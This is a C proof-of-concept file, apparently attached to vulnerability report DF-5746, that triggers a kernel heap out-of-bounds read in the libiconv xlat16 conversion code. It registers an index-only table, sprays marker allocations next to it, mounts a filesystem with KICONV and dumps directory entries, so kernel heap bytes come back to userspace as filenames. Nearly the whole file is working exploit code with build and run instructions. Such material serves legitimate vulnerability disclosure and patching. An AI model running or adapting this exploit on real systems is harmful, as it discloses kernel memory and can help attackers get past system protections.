DF-5746 / trigger_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* DF-5746 trigger B — kernel heap OOB read disclosed through readdir() * * iconv_sysctl_add (sys/libiconv/iconv.c:410) accepts ANY * 0 <= ia_datalen <= ICONV_CSMAXDATALEN. iconv_xlat16_open() * (sys/libiconv/iconv_xlat16.c:68-78) unconditionally parses the * first 0x200 index entries (1024 bytes) and, for every nonzero * entry, points d_table[i] at cp_data + 1024 + k*512 WITHOUT * checking that the allocation actually contains those bytes. * * We register the w2u pair ("local":"UTF-16BE") with ia_datalen=1024 * (index array only, NO data blocks) and mark the index slots for the * characters of an LFN filename stored on the image. After mounting * with KICONV, every readdir of that file makes the kernel read * uint32 values 512..~9200 bytes PAST the end of the 1024-byte * M_ICONVDATA allocation (iconv_xlat16_conv:192 code=d_table[c1][c2]), * and those bytes are returned to userspace as the converted filename. * * 16 "marker" pairs are registered right AFTER the victim so the * neighbouring heap objects contain a known pattern; if the leaked * filename bytes match the marker alphabet, the OOB read into a * different kernel allocation is proven. * * Build: cc -O0 -g -I/usr/src/sys -o trigger_leak trigger_leak.c * Run: ./trigger_leak <suffix> <dev> <mountpoint> */ #include "common_kiconv.h" #include <dirent.h> #define IDX_BYTES (0x200 * 8) /* xlat16 index array = 1024 */ #define BLK_BYTES (0x80 * 4) /* one data block = 512 */ static void dump_dir(const char *dir) { char buf[32768]; long base = 0; int fd, n; fd = open(dir, O_RDONLY); if (fd < 0) err(1, "open %s", dir); for (;;) { n = getdirentries(fd, buf, sizeof(buf), &base); if (n <= 0) break; char *p = buf, *end = buf + n; while (p < end) { struct dirent *d = (struct dirent *)p; printf("--- dirent namlen=%d: ", d->d_namlen); for (int i = 0; i < d->d_namlen; i++) { unsigned char c = (unsigned char)d->d_name[i]; if (c >= 0x20 && c < 0x7f) printf("%c", c); else printf("\\x%02x", c); } printf("\n hex: "); for (int i = 0; i < d->d_namlen; i++) printf("%02x ", (unsigned char)d->d_name[i]); printf("\n"); p += _DIRENT_DIRSIZ(d); } } close(fd); } int main(int argc, char **argv) { char name[64], from[64]; uint64_t idx[0x200]; uint8_t victim[IDX_BYTES]; uint8_t benign[IDX_BYTES + BLK_BYTES]; uint8_t marker[IDX_BYTES]; const char *sfx, *dev, *dir; if (argc != 4) { fprintf(stderr, "usage: %s <suffix> <dev> <mountpoint>\n", argv[0]); return (2); } sfx = argv[1]; dev = argv[2]; dir = argv[3]; /* ---- 1. victim: index-only table, marked slots, NO data blocks */ memset(idx, 0, sizeof(idx)); /* filename on image: "ABCDEFGHIJKLMNOP.k" */ idx['.'] = 1; /* 0x2E */ for (int c = 'A'; c <= 'P'; c++) /* 0x41..0x50 */ idx[c] = 1; idx['k'] = 1; /* 0x6B */ memset(victim, 0, sizeof(victim)); memcpy(victim, idx, sizeof(idx)); snprintf(name, sizeof(name), "PWNL%s", sfx); if (reg_pair("xlat16", name, "UTF-16BE", victim, IDX_BYTES) < 0) errx(1, "victim registration failed"); printf("[*] victim '%s:UTF-16BE' allocates %d bytes (index only) but " "its index references 18 data blocks => every converted char " "reads %d..%d bytes PAST the allocation\n", name, IDX_BYTES, (int)IDX_BYTES, (int)(IDX_BYTES + 17 * BLK_BYTES)); /* ---- 2. markers: 1024-byte allocations with known content, * registered right after the victim (heap neighbours) */ for (int m = 0; m < 16; m++) { for (int off = 0; off < IDX_BYTES; off += 8) { snprintf((char *)marker + off, 9, "MK%s!%02d", sfx, m); marker[off + 6] = 0xCA; marker[off + 7] = 0xFE; } snprintf(name, sizeof(name), "MK%s_%02d", sfx, m); snprintf(from, sizeof(from), "MRK%s%02d", sfx, m); reg_pair("xlat16", name, from, marker, IDX_BYTES); } /* ---- 3. benign well-formed tables for the other 3 msdosfs pairs */ memset(benign, 0, sizeof(benign)); ((uint64_t *)benign)[0] = 1; /* idx[0] -> one zero block */ snprintf(name, sizeof(name), "PWNL%s", sfx); reg_pair("xlat16", "UTF-16BE", name, benign, IDX_BYTES + BLK_BYTES); snprintf(from, sizeof(from), "PWND%s", sfx); reg_pair("xlat16", from, name, benign, IDX_BYTES + BLK_BYTES); reg_pair("xlat16", name, from, benign, IDX_BYTES + BLK_BYTES); /* ---- 4. mount and read the directory */ if (mount_kiconv(dev, dir, name, from) < 0) errx(1, "mount failed"); fflush(stdout); dump_dir(dir); unmount(dir, 0); printf("[+] done\n"); return (0); } |